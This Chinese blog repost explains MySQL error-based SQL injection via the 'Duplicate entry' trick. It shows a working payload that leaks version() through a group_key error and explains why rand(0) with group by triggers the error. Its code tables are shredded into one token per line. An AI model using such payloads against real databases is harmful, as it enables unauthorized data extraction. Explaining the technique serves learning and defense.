mysql查询dual获取随机数_经典的MySQL Duplicate entry报错注入

SQL注射取数据的方式有多种:mysql

利用union select查询直接在页面上返回数据,这种最为常见,一个前提是攻击者可以构造闭合的查询。

Oracle中利用监听UTL_HTTP.request发起的HTTP请求,把QuerySet反弹回攻击者的主机。固然,HTTP服务器对URL的长度有必定限制,所以每次可返回的数据量不可过多。

基于错误消息取数据,前提是页面可以响应详细的错误描述。它的一个优势是,咱们可能没必要太费力去猜想和闭合SQL(能够构造子查询,让MySQL在子查询中报错)。

盲注,页面不会显示错误消息。常见基于布尔的盲注、基于时间的盲注,此类注射点利用价值相对要低一点,猜解数据的时间较长。

本篇简单说明很是经典的基于错误回显的MySQL注射。最重要的,就是理解下面的SQL查询:git

select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;github

上面的这条SQL将报错: Duplicate entry '1' for key 'group_key'web

以下图sql

f6a0554e5efd26092a58f0a52816c4f1.png

1. 为何MySQL注射要用information_schema库?

答案是这个库是MySQL自带的,安装以后就建立好了,全部帐号都有权限访问。攻击者无需猜解库名、表名。跟Oracle注射使用dual相似。数据库

2. 如何利用报错取数据?

利用报错,攻击者把目标数据concat链接到floor()函数的先后便可。服务器

例如,下面的语句用于获取MySQL Server版本,构造:函数

mysql> select count(*),concat( floor(rand(0)*2), 0x5e5e5e, version(), 0x5e5e5e) x from information_schema.character_sets

group by x;

ERROR 1062 (23000): Duplicate entry '1^^^5.5.28^^^' for key 'group_key'工具

经过报错,便可知道当前数据库是5.5.28。0x5e5e5e是3个尖括号的16进制表示。 自动化SQL注射工具一般会在目标数据先后作相似的标记,方便程序提取。this

加上标记,也能够方便攻击者在大的页面中搜索。

3. 为什么这条语句会报错?

rand(0)是把0做为生成随机数的种子。首先明确一点,不管查询多少次,不管在哪台MySQL Server上查询,连续rand(0)生成的序列是固定的。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

mysql

>

select

rand

(

0

)

*

2

x

from

information_schema

.

character_sets

;

+

--

--

--

--

--

--

--

--

--

--

-

+

|

x

|

+

--

--

--

--

--

--

--

--

--

--

-

+

|

0.3104408553898715

|

|

1.241763483026776

|

|

1.2774949104315554

|

|

0.6621841645447389

|

|

1.4784361528963188

|

|

1.4056283323146668

|

|

0.5928332643516672

|

|

0.7472813862816258

|

|

1.9579071998204172

|

|

1.5476919017244986

|

|

1.8647379706285316

|

|

0.6806142094364522

|

|

1.8088571967639562

|

|

1.002443416977714

|

|

1.5856455560639924

|

|

0.9208975908541098

|

|

1.8475513475458616

|

|

0.4750640266342685

|

|

0.8326661520010477

|

|

0.7381387415697228

|

|

1.192695313312761

|

|

1.749060403321926

|

|

1.167216138138637

|

|

0.5888995421946975

|

|

1.4428493580248667

|

|

1.4475482250075304

|

|

0.9091931124303426

|

|

0.20332094859641134

|

|

0.28902546715831895

|

|

0.8351645514696506

|

|

1.3087464173405863

|

|

0.03823849376126984

|

|

0.2649532782518801

|

|

1.210050971442881

|

|

1.2553950839260548

|

|

0.6468225667689206

|

|

1.4679276435337287

|

|

1.3991705788291717

|

|

0.5920700250119623

|

+

--

--

--

--

--

--

--

--

--

--

-

+

应用floor函数(取浮点数的整数部分)后,结果变成了:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

mysql

>

select

floor

(

rand

(

0

)

*

2

)

x

from

information_schema

.

character_sets

;

+

--

-

+

|

x

|

+

--

-

+

|

0

|

|

1

|

|

1

|

|

0

|

|

1

|

|

1

|

|

0

|

|

0

|

|

1

|

|

1

|

|

1

|

|

0

|

|

1

|

|

1

|

|

1

|

|

0

|

|

1

|

|

0

|

|

0

|

|

0

|

|

1

|

|

1

|

|

1

|

|

0

|

|

1

|

|

1

|

|

0

|

|

0

|

|

0

|

|

0

|

|

1

|

|

0

|

|

0

|

|

1

|

|

1

|

|

0

|

|

1

|

|

1

|

|

0

|

+

--

-

+

39

rows

in

set

(

0.00

sec

)

能够看到,第二行和第三行的值都是1。这也是最终引发MySQL报错Duplicate entry的地方。

实际上,咱们分开执行下面的两种查询,都是不会出错的:

a) select floor(rand(0)*2) x from information_schema.character_sets group by x;

上面的查询根据x列的值进行分组,获得:

1

2

3

4

5

6

+

--

-

+

|

x

|

+

--

-

+

|

0

|

|

1

|

+

--

-

+

b) select count(*), floor(rand(0)*2) x from information_schema.character_sets;

获得information_schema.character_sets总共有39行:

1

2

3

4

5

6

+

--

--

--

--

--

+

--

-

+

|

count

(

*

)

|

x

|

+

--

--

--

--

--

+

--

-

+

|

39

|

0

|

+

--

--

--

--

--

+

--

-

+

1

row

in

set

(

0.00

sec

)

请注意,这里x的值出现的是0。

c) 将上述语句结合后即报错

select count(*), floor(rand(0)*2) x from information_schema.character_sets group by x;

咱们预期的结果, 实际上是:

1

2

3

4

5

6

7

8

+

--

--

--

--

--

+

--

-

+

|

count

(

*

)

|

x

|

+

--

--

--

--

--

+

--

-

+

|

18

|

0

|

+

--

--

--

--

--

+

--

-

+

|

11

|

1

|

+

--

--

--

--

--

+

--

-

+

2

row

in

set

(

0.00

sec

)

然而MySQL在内部处理中间结果的时候,出现了意外,致使报错。

转自 http://www.lijiejie.com/mysql-injection-error-based-duplicate-entry/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值